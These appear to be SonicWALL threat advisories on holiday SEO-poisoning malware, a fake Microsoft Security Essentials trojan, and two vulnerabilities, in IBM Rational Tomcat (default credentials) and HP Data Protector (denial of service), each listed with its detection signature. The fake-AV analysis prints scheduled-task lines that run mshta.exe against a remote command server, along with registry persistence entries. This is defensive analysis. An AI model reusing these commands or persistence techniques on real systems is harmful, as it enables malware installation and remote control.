SonicWALL UTM Research team discovered a number of polluted results appearing in search engine results for holiday shopping related search terms. Malware authors often use SEO poisoning technique to lure unsuspecting users into clicking on malicious links strategically placed in search engine results. For instance, search term “Walmart Black Friday Sales 2010” leads users to the malicious search results shown below

If the user clicks on the malicious link then it performs the following on the victim’s machine

• The initial link redirects users to another page containing a JavaScript, an extract of which is shown below. Based on the user’s web browser it redirects to an appropriate landing page.

  

• If the user is using Internet Explorer it redirects to a FakeAV landing page

  

• If the user is using Firefox then it redirects to a fake Firefox update page suggesting an upgrade to flash player:

  

  If the user downloads and executes the fake flash update then it performs the following on the victim’s machine

  • Drops files:
  • %temp%/Img.exe [Detected as GAV: Renos.MJ_4 (Trojan)]
  • %temp%/Imh.exe [Detected as GAV: Renos.MJ_4 (Trojan)]
  • %temp%/Imi.exe [Detected as GAV: Renos.MJ_4 (Trojan)]
  • %windir%/Ipisoa.exe (Copy of Img.exe) [Detected as GAV: Renos.MJ_4 (Trojan)]
  • Creates registry entry to ensure that the dropped malware runs on every system reboot:
    • HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun: “%temp%/Imh.exe”
  • Posts confidential data back to remote servers

    

  • It redirects the browser and opens pop-up windows

Similar results were observed for other post Thanksgiving holiday shopping season related search terms like “Black Friday” and “Cyber Monday”.

SonicWALL Gateway AntiVirus provides protection against this threat via following signatures:

GAV: Renos.MJ_4 (Trojan)
GAV: GAV: FakeAlert.SR (Trojan)
GAV: JSRedir.BF (Trojan)
GAV: Suspicious#fakeav.html (Trojan)

SonicWALL UTM Research team received reports of a new fake antivirus Trojan in the wild. This Trojan attemps to access a php script on a compromised webserver on the internet for further instructions.

During our research we found that the Trojan will masquerade as the legitimate antivirus product “Microsoft Security Essentials”, complete with fake pop-up alerts and detailed scan results.

The screenshots seen above are a result of attempting to run specific legitimate programs such as Internet Explorer and RegEdit that are chosen by this fake antivirus to be a potential threat to the system.

The Trojan performs the following activities upon execution:

• Drops the following three files on the compromised machine:
• C:Documents and SettingsUserApplication Data444.bat
Contains script with 24 task entries. eg:
at 00:23 /every:M,T,W,Th,F,S,Su mshta.exe http://91.188.x.x/77t.php?olala=4032432825575030
at 01:23 /every:M,T,W,Th,F,S,Su mshta.exe http://91.188.x.x/77t.php?olala=4032432825575030
at 02:23 /every:M,T,W,Th,F,S,Su mshta.exe http://91.188.x.x/77t.php?olala=4032432825575030
...
etc.

• C:Documents and SettingsUserApplication Dataasdsada.bat
Contains script to delete the fakeav installer.
• C:Documents and SettingsUserApplication Datahotfix.exe
• Creates the following registry entry to ensure regular startup:
  • HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWinlogon Shell “C:Documents and SettingsUserApplication Datahotfix.exe”

• Additional registry keys created:
  • HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache C:Documents and SettingsUserApplication Data444.bat “444”
  • HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache C:Documents and SettingsUserApplication Dataasdsada.bat “asdsada”
• Creates 24 scheduled tasks in C:WINDOWSTasks to ensure it runs hourly:
  • C:WINDOWSTasksAt<1-24>.job

• Attemps to use mshta.exe to open a url in order to receive further instructions:
  • URL: http://91.188.x.x/77t.php?olala=4032432825575030

SonicWALL Gateway AntiVirus provided protection against this threat via the following signature:

GAV: FakeAv.IOX (Trojan)

The IBM Rational is a web-based quality solution integrating the management and deployment of test environments within the quality management lifecycle. It incorporates Apache Tomcat to serve custom web applications.

To connect to a Tomcat application, a user must provide valid credentials. The user’s username and password will be included in the “Authorization:” HTTP header with each request.

A security-restriction-bypass vulnerability exists in IBM Rational products. Tomcat stores its user credentials within the configuration file tomcat-users.xml. When IBM Rational is installed, the user ADMIN is added to the configuration file with a default password; the role “manager” is also associated with this user. In an attack scenario, a remote attacker can use these default credentials to upload and run arbitrary web applications on the vulnerable system, within the security context of the affected process.

For more information about this vulnerability, please see SecurityFocus bid 44172.

SonicWALL has released an IPS signature to detect and block specific exploitation attempts targeting these vulnerabilities. The signature is listed below:

• 5890 IBM Rational QM/TLM Default Account Access

HP Data Protector Media Operations is a life cycle media management solution providing tracking and management of off-line storage media such as magnetic tapes. The HP Data Protector Media Operations service is provided by the DBServer.exe process. By default, the process listens for connections on TCP port 19813.

A denial of service vulnerability exists in HP Data Protector Media Operations server process. Specifically, the vulnerability is due to a NULL pointer dereference error when processing incoming requests. A NULL pointer dereference error will trigger an invalid memory access and crash the server process. A remote attacker can exploit these vulnerabilities by sending crafted requests to the target server. Successful exploitation would cause the DBServer.exe to terminate abnormally, resulting in the denial-of-service condition.

For more information about this vulnerability, please see Secunia Advisory SA41698.

SonicWALL has released an IPS signature to detect and block specific exploitation attempts targeting these vulnerabilities. The signature is listed below:

• 5866 HP Data Protector Media Operations DoS